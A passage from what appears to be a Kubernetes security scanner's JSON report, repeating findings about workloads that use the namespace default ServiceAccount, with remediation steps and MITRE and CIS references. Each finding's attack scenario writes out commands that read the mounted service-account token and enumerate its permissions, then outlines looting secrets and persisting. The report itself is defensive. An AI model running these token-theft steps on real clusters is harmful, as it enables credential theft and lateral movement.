      "Validate: `kubectl get pod -n netpol-imds -l \u003cselector\u003e -o jsonpath='{.items[*].spec.serviceAccountName}'` returns the new SA, not `default`."
    ],
    "references": [
      "https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/",
      "https://kubernetes.io/docs/concepts/security/service-accounts/",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Configure Service Accounts for Pods",
        "url": "https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/"
      },
      {
        "title": "Kubernetes — Service Accounts",
        "url": "https://kubernetes.io/docs/concepts/security/service-accounts/"
      },
      {
        "title": "Kubernetes — RBAC Good Practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1552.001",
        "name": "Unsecured Credentials in Files",
        "url": "https://attack.mitre.org/techniques/T1552/001/"
      },
      {
        "id": "T1078",
        "name": "Valid Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/"
      },
      {
        "id": "T1528",
        "name": "Steal Application Access Token",
        "url": "https://attack.mitre.org/techniques/T1528/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.1.5",
        "title": "Ensure that default service accounts are not actively used",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Authentication",
        "title": "Service account tokens",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:pod_security",
      "check:defaultServiceAccount"
    ]
  },
  {
    "id": "KUBE-SA-DEFAULT-001:Deployment:netpol-imds:imds-open-app",
    "rule_id": "KUBE-SA-DEFAULT-001",
    "severity": "MEDIUM",
    "score": 5.4,
    "category": "privilege_escalation",
    "title": "Workload `Deployment/netpol-imds/imds-open-app` runs as the namespace `default` ServiceAccount",
    "description": "Workload `Deployment/netpol-imds/imds-open-app` does not specify `serviceAccountName` and therefore runs as the namespace's `default` ServiceAccount, which by default has its token auto-mounted at `/var/run/secrets/kubernetes.io/serviceaccount/token`.\n\nThe `default` SA is harmless in a fresh namespace, but it is a magnet for permission accumulation: operators, Helm charts, and ClusterRoleBindings frequently bind permissions to it (often by mistake, via `subjects: [{kind: ServiceAccount, name: default, namespace: foo}]`), and the only way to know if the SA is dangerous is to enumerate every binding referencing it.\n\nThe Kubernetes RBAC Good Practices guide explicitly recommends per-workload ServiceAccounts so that the blast radius of an exposed token is bounded by a single workload's needs. An attacker with RCE in this pod reads the token, then runs `kubectl auth can-i --list` to find every accreted permission, often elevated by drift over the namespace's lifetime.",
    "resource": {
      "kind": "Deployment",
      "name": "imds-open-app",
      "namespace": "netpol-imds",
      "api_group": "apps"
    },
    "namespace": "netpol-imds",
    "scope": {
      "level": "workload",
      "detail": "Workload `Deployment/netpol-imds/imds-open-app`"
    },
    "impact": "Token theft yields whatever permissions the namespace `default` SA has been granted (often elevated by drift); enables lateral movement to other workloads in the namespace.",
    "attack_scenario": [
      "RCE in the pod.",
      "Read the SA token: `cat /var/run/secrets/kubernetes.io/serviceaccount/token`.",
      "Enumerate permissions: `kubectl --token=$TOKEN auth can-i --list`.",
      "Exploit any usable verb. Common findings: `secrets/get` (loot all secrets), `pods/exec` (shell into other pods), `pods/create` with privileged template (escalate to node).",
      "Persist by creating a hidden Deployment with the same compromised SA."
    ],
    "evidence": {
      "service_account": "default"
    },
    "remediation": "Create a dedicated ServiceAccount per workload with least-privilege RBAC; disable automount on the namespace `default` SA.",
    "remediation_steps": [
      "Create a ServiceAccount: `kubectl -n netpol-imds create sa imds-open-app-sa`. Grant only the verbs/resources the app actually needs via a Role + RoleBinding.",
      "Reference the new SA in the PodSpec via `serviceAccountName: imds-open-app-sa`. If the app does NOT need to talk to the API at all, also set `automountServiceAccountToken: false`.",
      "Disable automount on the namespace default SA: `kubectl patch sa default -n netpol-imds -p '{\"automountServiceAccountToken\": false}'`.",
      "Validate: `kubectl get pod -n netpol-imds -l \u003cselector\u003e -o jsonpath='{.items[*].spec.serviceAccountName}'` returns the new SA, not `default`."
    ],
    "references": [
      "https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/",
      "https://kubernetes.io/docs/concepts/security/service-accounts/",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Configure Service Accounts for Pods",
        "url": "https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/"
      },
      {
        "title": "Kubernetes — Service Accounts",
        "url": "https://kubernetes.io/docs/concepts/security/service-accounts/"
      },
      {
        "title": "Kubernetes — RBAC Good Practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1552.001",
        "name": "Unsecured Credentials in Files",
        "url": "https://attack.mitre.org/techniques/T1552/001/"
      },
      {
        "id": "T1078",
        "name": "Valid Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/"
      },
      {
        "id": "T1528",
        "name": "Steal Application Access Token",
        "url": "https://attack.mitre.org/techniques/T1528/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.1.5",
        "title": "Ensure that default service accounts are not actively used",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Authentication",
        "title": "Service account tokens",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:pod_security",
      "check:defaultServiceAccount"
    ]
  },
  {
    "id": "KUBE-SA-DEFAULT-001:Deployment:psa-suppressed:psa-priv-app",
    "rule_id": "KUBE-SA-DEFAULT-001",
    "severity": "MEDIUM",
    "score": 5.4,
    "category": "privilege_escalation",
    "title": "Workload `Deployment/psa-suppressed/psa-priv-app` runs as the namespace `default` ServiceAccount",
    "description": "Workload `Deployment/psa-suppressed/psa-priv-app` does not specify `serviceAccountName` and therefore runs as the namespace's `default` ServiceAccount, which by default has its token auto-mounted at `/var/run/secrets/kubernetes.io/serviceaccount/token`.\n\nThe `default` SA is harmless in a fresh namespace, but it is a magnet for permission accumulation: operators, Helm charts, and ClusterRoleBindings frequently bind permissions to it (often by mistake, via `subjects: [{kind: ServiceAccount, name: default, namespace: foo}]`), and the only way to know if the SA is dangerous is to enumerate every binding referencing it.\n\nThe Kubernetes RBAC Good Practices guide explicitly recommends per-workload ServiceAccounts so that the blast radius of an exposed token is bounded by a single workload's needs. An attacker with RCE in this pod reads the token, then runs `kubectl auth can-i --list` to find every accreted permission, often elevated by drift over the namespace's lifetime.",
    "resource": {
      "kind": "Deployment",
      "name": "psa-priv-app",
      "namespace": "psa-suppressed",
      "api_group": "apps"
    },
    "namespace": "psa-suppressed",
    "scope": {
      "level": "workload",
      "detail": "Workload `Deployment/psa-suppressed/psa-priv-app`"
    },
    "impact": "Token theft yields whatever permissions the namespace `default` SA has been granted (often elevated by drift); enables lateral movement to other workloads in the namespace.",
    "attack_scenario": [
      "RCE in the pod.",
      "Read the SA token: `cat /var/run/secrets/kubernetes.io/serviceaccount/token`.",
      "Enumerate permissions: `kubectl --token=$TOKEN auth can-i --list`.",
      "Exploit any usable verb. Common findings: `secrets/get` (loot all secrets), `pods/exec` (shell into other pods), `pods/create` with privileged template (escalate to node).",
      "Persist by creating a hidden Deployment with the same compromised SA."
    ],
    "evidence": {
      "service_account": "default"
    },
    "remediation": "Create a dedicated ServiceAccount per workload with least-privilege RBAC; disable automount on the namespace `default` SA.",
    "remediation_steps": [
      "Create a ServiceAccount: `kubectl -n psa-suppressed create sa psa-priv-app-sa`. Grant only the verbs/resources the app actually needs via a Role + RoleBinding.",
      "Reference the new SA in the PodSpec via `serviceAccountName: psa-priv-app-sa`. If the app does NOT need to talk to the API at all, also set `automountServiceAccountToken: false`.",
      "Disable automount on the namespace default SA: `kubectl patch sa default -n psa-suppressed -p '{\"automountServiceAccountToken\": false}'`.",
      "Validate: `kubectl get pod -n psa-suppressed -l \u003cselector\u003e -o jsonpath='{.items[*].spec.serviceAccountName}'` returns the new SA, not `default`."
    ],
    "references": [
      "https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/",
      "https://kubernetes.io/docs/concepts/security/service-accounts/",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Configure Service Accounts for Pods",
        "url": "https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/"
      },
      {
        "title": "Kubernetes — Service Accounts",
        "url": "https://kubernetes.io/docs/concepts/security/service-accounts/"
      },
      {
        "title": "Kubernetes — RBAC Good Practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1552.001",
        "name": "Unsecured Credentials in Files",
        "url": "https://attack.mitre.org/techniques/T1552/001/"
      },
      {
        "id": "T1078",
        "name": "Valid Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/"
      },
      {
        "id": "T1528",
        "name": "Steal Application Access Token",
        "url": "https://attack.mitre.org/techniques/T1528/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.1.5",
        "title": "Ensure that default service accounts are not actively used",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Authentication",
        "title": "Service account tokens",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:pod_security",
      "check:defaultServiceAccount"
    ]
  },
  {
    "id": "KUBE-SA-DEFAULT-001:Deployment:statusspoof-fixtures:statusspoof-api",
    "rule_id": "KUBE-SA-DEFAULT-001",
    "severity": "MEDIUM",
    "score": 5.4,
    "category": "privilege_escalation",
    "title": "Workload `Deployment/statusspoof-fixtures/statusspoof-api` runs as the namespace `default` ServiceAccount",
    "description": "Workload `Deployment/statusspoof-fixtures/statusspoof-api` does not specify `serviceAccountName` and therefore runs as the namespace's `default` ServiceAccount, which by default has its token auto-mounted at `/var/run/secrets/kubernetes.io/serviceaccount/token`.\n\nThe `default` SA is harmless in a fresh namespace, but it is a magnet for permission accumulation: operators, Helm charts, and ClusterRoleBindings frequently bind permissions to it (often by mistake, via `subjects: [{kind: ServiceAccount, name: default, namespace: foo}]`), and the only way to know if the SA is dangerous is to enumerate every binding referencing it.\n\nThe Kubernetes RBAC Good Practices guide explicitly recommends per-workload ServiceAccounts so that the blast radius of an exposed token is bounded by a single workload's needs. An attacker with RCE in this pod reads the token, then runs `kubectl auth can-i --list` to find every accreted permission, often elevated by drift over the namespace's lifetime.",
    "resource": {
      "kind": "Deployment",
      "name": "statusspoof-api",
      "namespace": "statusspoof-fixtures",
      "api_group": "apps"
    },
    "namespace": "statusspoof-fixtures",
    "scope": {
      "level": "workload",
      "detail": "Workload `Deployment/statusspoof-fixtures/statusspoof-api`"
    },
    "impact": "Token theft yields whatever permissions the namespace `default` SA has been granted (often elevated by drift); enables lateral movement to other workloads in the namespace.",
    "attack_scenario": [
      "RCE in the pod.",
      "Read the SA token: `cat /var/run/secrets/kubernetes.io/serviceaccount/token`.",
      "Enumerate permissions: `kubectl --token=$TOKEN auth can-i --list`.",
      "Exploit any usable verb. Common findings: `secrets/get` (loot all secrets), `pods/exec` (shell into other pods), `pods/create` with privileged template (escalate to node).",
      "Persist by creating a hidden Deployment with the same compromised SA."
    ],
    "evidence": {
      "service_account": "default"
    },
    "remediation": "Create a dedicated ServiceAccount per workload with least-privilege RBAC; disable automount on the namespace `default` SA.",
    "remediation_steps": [
      "Create a ServiceAccount: `kubectl -n statusspoof-fixtures create sa statusspoof-api-sa`. Grant only the verbs/resources the app actually needs via a Role + RoleBinding.",
      "Reference the new SA in the PodSpec via `serviceAccountName: statusspoof-api-sa`. If the app does NOT need to talk to the API at all, also set `automountServiceAccountToken: false`.",
      "Disable automount on the namespace default SA: `kubectl patch sa default -n statusspoof-fixtures -p '{\"automountServiceAccountToken\": false}'`.",
      "Validate: `kubectl get pod -n statusspoof-fixtures -l \u003cselector\u003e -o jsonpath='{.items[*].spec.serviceAccountName}'` returns the new SA, not `default`."
    ],
    "references": [
      "https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/",
      "https://kubernetes.io/docs/concepts/security/service-accounts/",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Configure Service Accounts for Pods",
        "url": "https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/"
      },
      {
        "title": "Kubernetes — Service Accounts",
        "url": "https://kubernetes.io/docs/concepts/security/service-accounts/"
      },
      {
        "title": "Kubernetes — RBAC Good Practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1552.001",
        "name": "Unsecured Credentials in Files",
        "url": "https://attack.mitre.org/techniques/T1552/001/"
      },
      {
        "id": "T1078",
        "name": "Valid Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/"
      },
      {
        "id": "T1528",
        "name": "Steal Application Access Token",
        "url": "https://attack.mitre.org/techniques/T1528/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.1.5",
        "title": "Ensure that default service accounts are not actively used",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Authentication",
        "title": "Service account tokens",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:pod_security",
      "check:defaultServiceAccount"
    ]
  },
  {
    "id": "KUBE-SA-DEFAULT-001:Deployment:vulnerable:generic-hostpath-app",
    "rule_id": "KUBE-SA-DEFAULT-001",
    "severity": "MEDIUM",
    "score": 5.4,
    "category": "privilege_escalation",
    "title": "Workload `Deployment/vulnerable/generic-hostpath-app` runs as the namespace `default` ServiceAccount",
    "description": "Workload `Deployment/vulnerable/generic-hostpath-app` does not specify `serviceAccountName` and therefore runs as the namespace's `default` ServiceAccount, which by default has its token auto-mounted at `/var/run/secrets/kubernetes.io/serviceaccount/token`.\n\nThe `default` SA is harmless in a fresh namespace, but it is a magnet for permission accumulation: operators, Helm charts, and ClusterRoleBindings frequently bind permissions to it (often by mistake, via `subjects: [{kind: ServiceAccount, name: default, namespace: foo}]`), and the only way to know if the SA is dangerous is to enumerate every binding referencing it.\n\nThe Kubernetes RBAC Good Practices guide explicitly recommends per-workload ServiceAccounts so that the blast radius of an exposed token is bounded by a single workload's needs. An attacker with RCE in this pod reads the token, then runs `kubectl auth can-i --list` to find every accreted permission, often elevated by drift over the namespace's lifetime.",
    "resource": {
      "kind": "Deployment",
      "name": "generic-hostpath-app",
      "namespace": "vulnerable",
      "api_group": "apps"
    },
    "namespace": "vulnerable",
    "scope": {
      "level": "workload",
      "detail": "Workload `Deployment/vulnerable/generic-hostpath-app`"
    },
    "impact": "Token theft yields whatever permissions the namespace `default` SA has been granted (often elevated by drift); enables lateral movement to other workloads in the namespace.",
    "attack_scenario": [
      "RCE in the pod.",
      "Read the SA token: `cat /var/run/secrets/kubernetes.io/serviceaccount/token`.",
      "Enumerate permissions: `kubectl --token=$TOKEN auth can-i --list`.",
      "Exploit any usable verb. Common findings: `secrets/get` (loot all secrets), `pods/exec` (shell into other pods), `pods/create` with privileged template (escalate to node).",
      "Persist by creating a hidden Deployment with the same compromised SA."
    ],
    "evidence": {
      "service_account": "default"
    },
    "remediation": "Create a dedicated ServiceAccount per workload with least-privilege RBAC; disable automount on the namespace `default` SA.",
    "remediation_steps": [
      "Create a ServiceAccount: `kubectl -n vulnerable create sa generic-hostpath-app-sa`. Grant only the verbs/resources the app actually needs via a Role + RoleBinding.",
      "Reference the new SA in the PodSpec via `serviceAccountName: generic-hostpath-app-sa`. If the app does NOT need to talk to the API at all, also set `automountServiceAccountToken: false`.",
      "Disable automount on the namespace default SA: `kubectl patch sa default -n vulnerable -p '{\"automountServiceAccountToken\": false}'`.",
      "Validate: `kubectl get pod -n vulnerable -l \u003cselector\u003e -o jsonpath='{.items[*].spec.serviceAccountName}'` returns the new SA, not `default`."
    ],
    "references": [
      "https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/",
      "https://kubernetes.io/docs/concepts/security/service-accounts/",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Configure Service Accounts for Pods",
        "url": "https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/"
      },
      {
        "title": "Kubernetes — Service Accounts",
        "url": "https://kubernetes.io/docs/concepts/security/service-accounts/"
      },
      {
        "title": "Kubernetes — RBAC Good Practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1552.001",
        "name": "Unsecured Credentials in Files",
        "url": "https://attack.mitre.org/techniques/T1552/001/"
      },
      {
        "id": "T1078",
        "name": "Valid Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/"
      },
      {
        "id": "T1528",
        "name": "Steal Application Access Token",
        "url": "https://attack.mitre.org/techniques/T1528/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.1.5",
        "title": "Ensure that default service accounts are not actively used",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Authentication",
        "title": "Service account tokens",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:pod_security",
      "check:defaultServiceAccount"
    ]
  },
  {
    "id": "KUBE-SA-DEFAULT-001:Deployment:vulnerable:host-ns-app",
    "rule_id": "KUBE-SA-DEFAULT-001",
    "severity": "MEDIUM",
    "score": 5.4,
    "category": "privilege_escalation",
    "title": "Workload `Deployment/vulnerable/host-ns-app` runs as the namespace `default` ServiceAccount",
    "description": "Workload `Deployment/vulnerable/host-ns-app` does not specify `serviceAccountName` and therefore runs as the namespace's `default` ServiceAccount, which by default has its token auto-mounted at `/var/run/secrets/kubernetes.io/serviceaccount/token`.\n\nThe `default` SA is harmless in a fresh namespace, but it is a magnet for permission accumulation: operators, Helm charts, and ClusterRoleBindings frequently bind permissions to it (often by mistake, via `subjects: [{kind: ServiceAccount, name: default, namespace: foo}]`), and the only way to know if the SA is dangerous is to enumerate every binding referencing it.\n\nThe Kubernetes RBAC Good Practices guide explicitly recommends per-workload ServiceAccounts so that the blast radius of an exposed token is bounded by a single workload's needs. An attacker with RCE in this pod reads the token, then runs `kubectl auth can-i --list` to find every accreted permission, often elevated by drift over the namespace's lifetime.",
    "resource": {
      "kind": "Deployment",
      "name": "host-ns-app",
      "namespace": "vulnerable",
      "api_group": "apps"
    },
    "namespace": "vulnerable",
    "scope": {
      "level": "workload",
      "detail": "Workload `Deployment/vulnerable/host-ns-app`"
    },
    "impact": "Token theft yields whatever permissions the namespace `default` SA has been granted (often elevated by drift); enables lateral movement to other workloads in the namespace.",
    "attack_scenario": [
      "RCE in the pod.",
      "Read the SA token: `cat /var/run/secrets/kubernetes.io/serviceaccount/token`.",
      "Enumerate permissions: `kubectl --token=$TOKEN auth can-i --list`.",
      "Exploit any usable verb. Common findings: `secrets/get` (loot all secrets), `pods/exec` (shell into other pods), `pods/create` with privileged template (escalate to node).",
      "Persist by creating a hidden Deployment with the same compromised SA."
    ],
    "evidence": {
      "service_account": "default"
    },
    "remediation": "Create a dedicated ServiceAccount per workload with least-privilege RBAC; disable automount on the namespace `default` SA.",
    "remediation_steps": [
      "Create a ServiceAccount: `kubectl -n vulnerable create sa host-ns-app-sa`. Grant only the verbs/resources the app actually needs via a Role + RoleBinding.",
      "Reference the new SA in the PodSpec via `serviceAccountName: host-ns-app-sa`. If the app does NOT need to talk to the API at all, also set `automountServiceAccountToken: false`.",
      "Disable automount on the namespace default SA: `kubectl patch sa default -n vulnerable -p '{\"automountServiceAccountToken\": false}'`.",
      "Validate: `kubectl get pod -n vulnerable -l \u003cselector\u003e -o jsonpath='{.items[*].spec.serviceAccountName}'` returns the new SA, not `default`."
    ],
    "references": [
      "https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/",
      "https://kubernetes.io/docs/concepts/security/service-accounts/",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Configure Service Accounts for Pods",
        "url": "https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/"
      },
      {
        "title": "Kubernetes — Service Accounts",
        "url": "https://kubernetes.io/docs/concepts/security/service-accounts/"
      },
      {
        "title": "Kubernetes — RBAC Good Practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1552.001",
        "name": "Unsecured Credentials in Files",
        "url": "https://attack.mitre.org/techniques/T1552/001/"
      },
      {
        "id": "T1078",
        "name": "Valid Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/"
      },
      {
        "id": "T1528",
        "name": "Steal Application Access Token",
        "url": "https://attack.mitre.org/techniques/T1528/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.1.5",
        "title": "Ensure that default service accounts are not actively used",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Authentication",
        "title": "Service account tokens",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:pod_security",
      "check:defaultServiceAccount"
    ]
  },
  {
    "id": "KUBE-SA-DEFAULT-001:Deployment:vulnerable:risky-app",
    "rule_id": "KUBE-SA-DEFAULT-001",
    "severity": "MEDIUM",
    "score": 5.4,
    "category": "privilege_escalation",
    "title": "Workload `Deployment/vulnerable/risky-app` runs as the namespace `default` ServiceAccount",
    "description": "Workload `Deployment/vulnerable/risky-app` does not specify `serviceAccountName` and therefore runs as the namespace's `default` ServiceAccount, which by default has its token auto-mounted at `/var/run/secrets/kubernetes.io/serviceaccount/token`.\n\nThe `default` SA is harmless in a fresh namespace, but it is a magnet for permission accumulation: operators, Helm charts, and ClusterRoleBindings frequently bind permissions to it (often by mistake, via `subjects: [{kind: ServiceAccount, name: default, namespace: foo}]`), and the only way to know if the SA is dangerous is to enumerate every binding referencing it.\n\nThe Kubernetes RBAC Good Practices guide explicitly recommends per-workload ServiceAccounts so that the blast radius of an exposed token is bounded by a single workload's needs. An attacker with RCE in this pod reads the token, then runs `kubectl auth can-i --list` to find every accreted permission, often elevated by drift over the namespace's lifetime.",
    "resource": {
      "kind": "Deployment",
      "name": "risky-app",
      "namespace": "vulnerable",
      "api_group": "apps"
    },
    "namespace": "vulnerable",
    "scope": {
      "level": "workload",
      "detail": "Workload `Deployment/vulnerable/risky-app`"
    },
    "impact": "Token theft yields whatever permissions the namespace `default` SA has been granted (often elevated by drift); enables lateral movement to other workloads in the namespace.",
    "attack_scenario": [
      "RCE in the pod.",
      "Read the SA token: `cat /var/run/secrets/kubernetes.io/serviceaccount/token`.",
      "Enumerate permissions: `kubectl --token=$TOKEN auth can-i --list`.",
      "Exploit any usable verb. Common findings: `secrets/get` (loot all secrets), `pods/exec` (shell into other pods), `pods/create` with privileged template (escalate to node).",
      "Persist by creating a hidden Deployment with the same compromised SA."
    ],
    "evidence": {
      "service_account": "default"
    },
    "remediation": "Create a dedicated ServiceAccount per workload with least-privilege RBAC; disable automount on the namespace `default` SA.",
    "remediation_steps": [
      "Create a ServiceAccount: `kubectl -n vulnerable create sa risky-app-sa`. Grant only the verbs/resources the app actually needs via a Role + RoleBinding.",
      "Reference the new SA in the PodSpec via `serviceAccountName: risky-app-sa`. If the app does NOT need to talk to the API at all, also set `automountServiceAccountToken: false`.",
      "Disable automount on the namespace default SA: `kubectl patch sa default -n vulnerable -p '{\"automountServiceAccountToken\": false}'`.",
      "Validate: `kubectl get pod -n vulnerable -l \u003cselector\u003e -o jsonpath='{.items[*].spec.serviceAccountName}'` returns the new SA, not `default`."
    ],
    "references": [
      "https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/",
      "https://kubernetes.io/docs/concepts/security/service-accounts/",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Configure Service Accounts for Pods",
        "url": "https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/"
      },
      {
        "title": "Kubernetes — Service Accounts",
        "url": "https://kubernetes.io/docs/concepts/security/service-accounts/"
      },
      {
        "title": "Kubernetes — RBAC Good Practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1552.001",
        "name": "Unsecured Credentials in Files",
        "url": "https://attack.mitre.org/techniques/T1552/001/"
      },
      {
        "id": "T1078",
        "name": "Valid Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/"
      },
      {
        "id": "T1528",
        "name": "Steal Application Access Token",
        "url": "https://attack.mitre.org/techniques/T1528/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.1.5",
        "title": "Ensure that default service accounts are not actively used",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Authentication",
        "title": "Service account tokens",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:pod_security",
      "check:defaultServiceAccount"
    ]
  },
  {
    "id": "KUBE-SA-DEFAULT-001:Deployment:vulnerable:root-runner",
    "rule_id": "KUBE-SA-DEFAULT-001",
    "severity": "MEDIUM",
    "score": 5.4,
    "category": "privilege_escalation",
    "title": "Workload `Deployment/vulnerable/root-runner` runs as the namespace `default` ServiceAccount",
    "description": "Workload `Deployment/vulnerable/root-runner` does not specify `serviceAccountName` and therefore runs as the namespace's `default` ServiceAccount, which by default has its token auto-mounted at `/var/run/secrets/kubernetes.io/serviceaccount/token`.\n\nThe `default` SA is harmless in a fresh namespace, but it is a magnet for permission accumulation: operators, Helm charts, and ClusterRoleBindings frequently bind permissions to it (often by mistake, via `subjects: [{kind: ServiceAccount, name: default, namespace: foo}]`), and the only way to know if the SA is dangerous is to enumerate every binding referencing it.\n\nThe Kubernetes RBAC Good Practices guide explicitly recommends per-workload ServiceAccounts so that the blast radius of an exposed token is bounded by a single workload's needs. An attacker with RCE in this pod reads the token, then runs `kubectl auth can-i --list` to find every accreted permission, often elevated by drift over the namespace's lifetime.",
    "resource": {
      "kind": "Deployment",
      "name": "root-runner",
      "namespace": "vulnerable",
      "api_group": "apps"
    },
    "namespace": "vulnerable",
    "scope": {
      "level": "workload",
      "detail": "Workload `Deployment/vulnerable/root-runner`"
    },
    "impact": "Token theft yields whatever permissions the namespace `default` SA has been granted (often elevated by drift); enables lateral movement to other workloads in the namespace.",
    "attack_scenario": [
      "RCE in the pod.",
      "Read the SA token: `cat /var/run/secrets/kubernetes.io/serviceaccount/token`.",
      "Enumerate permissions: `kubectl --token=$TOKEN auth can-i --list`.",
      "Exploit any usable verb. Common findings: `secrets/get` (loot all secrets), `pods/exec` (shell into other pods), `pods/create` with privileged template (escalate to node).",
      "Persist by creating a hidden Deployment with the same compromised SA."
    ],
    "evidence": {
      "service_account": "default"
    },
    "remediation": "Create a dedicated ServiceAccount per workload with least-privilege RBAC; disable automount on the namespace `default` SA.",
    "remediation_steps": [
      "Create a ServiceAccount: `kubectl -n vulnerable create sa root-runner-sa`. Grant only the verbs/resources the app actually needs via a Role + RoleBinding.",
      "Reference the new SA in the PodSpec via `serviceAccountName: root-runner-sa`. If the app does NOT need to talk to the API at all, also set `automountServiceAccountToken: false`.",
      "Disable automount on the namespace default SA: `kubectl patch sa default -n vulnerable -p '{\"automountServiceAccountToken\": false}'`.",
      "Validate: `kubectl get pod -n vulnerable -l \u003cselector\u003e -o jsonpath='{.items[*].spec.serviceAccountName}'` returns the new SA, not `default`."
    ],
    "references": [
      "https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/",
      "https://kubernetes.io/docs/concepts/security/service-accounts/",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Configure Service Accounts for Pods",
        "url": "https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/"
      },
      {
        "title": "Kubernetes — Service Accounts",
        "url": "https://kubernetes.io/docs/concepts/security/service-accounts/"
      },
      {
        "title": "Kubernetes — RBAC Good Practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1552.001",
        "name": "Unsecured Credentials in Files",
        "url": "https://attack.mitre.org/techniques/T1552/001/"
      },
      {
        "id": "T1078",
        "name": "Valid Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/"
      },
      {
        "id": "T1528",
        "name": "Steal Application Access Token",
        "url": "https://attack.mitre.org/techniques/T1528/"
      }
    ],
